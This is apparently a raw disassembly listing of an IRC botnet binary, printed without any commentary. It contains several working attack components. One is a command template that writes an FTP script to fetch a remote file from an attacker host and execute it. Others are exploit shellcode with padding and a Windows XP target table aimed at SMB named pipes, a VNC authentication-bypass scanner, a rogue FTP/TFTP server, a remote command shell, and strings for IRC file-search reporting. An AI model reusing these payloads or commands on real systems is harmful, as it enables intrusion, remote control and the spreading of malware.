		inc	esp
		jle	short loc_4327AB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_432783:				; CODE XREF: ___:00432749j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4327E2+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_4327A8:				; CODE XREF: ___:004327D5j
		xor	[esi-25h], bl


loc_4327AB:				; CODE XREF: ___:00432751j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_4327C4:				; CODE XREF: ___:004327F7j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4327A8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4327E2:				; CODE XREF: ___:00432789j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_43286E
		jo	short loc_4327C4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_432805+1
		add	bl, [edi]


loc_432805:				; CODE XREF: ___:00432801j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_43281A+2
		cmp	ch, bh
		dec	edx


loc_43281A:				; CODE XREF: ___:00432815j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_43286E:				; CODE XREF: ___:004327F5j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4328F4
		sub	al, 0BCh
		jmp	near ptr 54452C62h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432890	dd 0EFFFC481h, 44FFFFh,	4328DCh	; DATA XREF: ___:0040DC33o
dword_43289C	dd 42Ah			; DATA XREF: ___:0040DBE6r
dword_4328A0	dd 3E8h			; DATA XREF: ___:0040DC57r
dword_4328A4	dd 258h			; DATA XREF: ___:0040DC29r
byte_4328A8	db 1			; DATA XREF: ___:0040DB92r
					; ___:0040DC60r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4328C0	dd 20804h		; DATA XREF: sub_40D8A0r ___:0040DC7Eo ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004328ACo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4328F4:				; CODE XREF: ___:00432878j
		push	eax
		xor	al, 29h


loc_4328F7:				; DATA XREF: ___:0040DBBAo
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_432900	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAEAo
dword_432914	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Eo
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Do
		align 4
aSIpc		db '\\%s\ipc$',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE3+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4329BC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D1+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Do
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E29Ao
		align 10h
word_433C00	dw 1			; DATA XREF: ___:0040E211r
		align 4
dword_433C04	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C65+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00438368o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00438374o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_433EEC	db  2Dh	; -		; DATA XREF: sub_40F0D6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_433F14	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D6+2CFo
					; sub_41A4D2+F5o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D6+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F531+98o
					; sub_41AA43+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F531+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F531:loc_40F597o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F531+5Fo
		align 4
unk_434134	db  2Dh	; -		; DATA XREF: sub_40F6B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_43416C	db  2Dh	; -		; DATA XREF: sub_40F6B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_4341A0:				; DATA XREF: sub_40F6B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96B+652o
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96B+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FE93o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FD25o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+328o
					; sub_40F96B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96B+310o
		align 10h
aS		db '<%s>',0             ; DATA XREF: sub_40F96B+2E9o
					; sub_40F96B+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96B+28Ao
		align 10h
a__		db '..',0               ; DATA XREF: sub_40F96B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_434648	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410313o
dword_43468C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_4346F4	db  2Dh	; -		; DATA XREF: ___:00410494o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43473C	db  2Dh	; -		; DATA XREF: ___:004106E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_43477C	db  2Dh	; -		; DATA XREF: ___:0041061Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4347C0	db  2Dh	; -		; DATA XREF: ___:004109A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4347EC	db  2Dh	; -		; DATA XREF: ___:00410982o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_434818	db  2Dh	; -		; DATA XREF: ___:00410962o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410932o
		align 4
unk_434854	db  2Dh	; -		; DATA XREF: ___:004108A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_434880	db  2Dh	; -		; DATA XREF: sub_4109C5:loc_410A0Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4348AC	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_434A48	db  2Dh	; -		; DATA XREF: sub_410CD6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434A7C	db  2Dh	; -		; DATA XREF: sub_410CD6+59o
					; sub_410CD6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_434AC4	db  2Dh	; -		; DATA XREF: sub_410E27+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_434AEC	db  2Dh	; -		; DATA XREF: sub_410E27+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434B2C	db  2Dh	; -		; DATA XREF: sub_410E27+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434B6C	db  2Dh	; -		; DATA XREF: sub_410F20+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F20+8Co
		align 4
dword_434BAC	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
